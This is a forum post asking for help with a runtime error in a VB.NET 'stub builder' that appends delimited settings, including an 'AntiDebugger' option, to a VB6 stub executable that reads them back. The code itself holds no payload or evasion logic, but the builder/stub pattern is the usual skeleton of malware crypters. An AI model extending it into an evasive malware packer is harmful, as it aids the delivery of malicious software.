Quantcast
Channel: VBForums - Visual Basic 6 and Earlier
Viewing all articles
Browse latest Browse all 21350

VB .NET Builder Linked with VB6 - Runtime Error 9

$
0
0
Hey guys! :D - I have been now looking on this forum for a long time, and I must say, I really like it: - So I decied to register here :)
I currently face a problem though.. Im trying to make a stub builder in VB.NET (for the sexy GUI) and the actual stub in VB6 (for a non dependent output).
I have been trying past 2 days now to fix it, but can't seem to get it right >.<.
Note: I just started VB6, so please be leniant :)

VB.NET Builder Code:

Code:

Imports System.IO
Public Class Form1
    Const FileSplit = "--ApertureSwag--"
    Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String
    Dim tmp As String
    Dim sfd As New SaveFileDialog
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        tmp = Path.GetTempPath
        File.WriteAllBytes(tmp + "stub.exe", My.Resources.stub)
            FileOpen(1, tmp & "\stub.exe", OpenMode.Binary, OpenAccess.Read)
            stub = Space(LOF(1))
            FileGet(1, stub)
            FileClose(1)
            If CheckBox1.Checked = True Then
                AntiDebugger = "True"
            Else
                AntiDebugger = "False"
            End If
            If CheckBox2.Checked = True Then
                AntiSanta = "True"
            Else
                AntiSanta = "False"
            End If
            If CheckBox3.Checked = True Then
                AntiNazi = "True"
            Else
                AntiNazi = "False"
            End If
            If CheckBox4.Checked = True Then
                AntiEverything = "True"
            Else
                AntiEverything = "False"
            End If
                sfd.Title = "Save the Stub..."
                sfd.Filter = "Executables (*.exe) |*.exe"
            sfd.ShowDialog()
        If Not sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
            Exit Sub
        Else

        End If
                FileOpen(2, sfd.FileName, OpenMode.Binary, OpenAccess.ReadWrite)
                FilePut(2, stub & FileSplit & TextBox1.Text & FileSplit & TextBox2.Text & FileSplit & TextBox3.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta & FileSplit & AntiEverything)
                MsgBox("WAY TO GO! IT WORKED!")
                FileClose(2)
    End Sub

    Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles MyBase.FormClosed
        File.Delete(tmp & "\stub.exe")
    End Sub
End Class

VB6 Stub Code:
Code:

Const FileSplit = "--ApertureSwag--"
Dim self, settings() As String

Private Sub Form_Load()
Open App.Path & "\Stub.exe" For Binary As #1
self = Space(LOF(1))
Get #1, , self
Close #1
settings = Split(self, FileSplit)
Textbox1.Text = settings(1)
Textbox2.Text = settings(2)
Textbox3.Text = settings(3)
If settings(4) = "True" Then
Checkbox1.Value = 1
Else
Checkbox1.Value = 0
End If
If settings(5) = "True" Then
CheckBox2.Value = 1
Else
CheckBox2.Value = 0
End If
If settings(6) = "True" Then
CheckBox3.Value = 1
Else
CheckBox3.Value = 0
End If
If settings(7) = "True" Then
CheckBox4.Value = 1
Else
CheckBox4.Value = 0
End If

End Sub

The error is written in red, after I click the debug button when I get the runtime error. The builder does work with a VB.NET Stub I made.
Like I said; If I made some stupid, noobish mistake :P - It's cuz I just started VB6.

Viewing all articles
Browse latest Browse all 21350

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>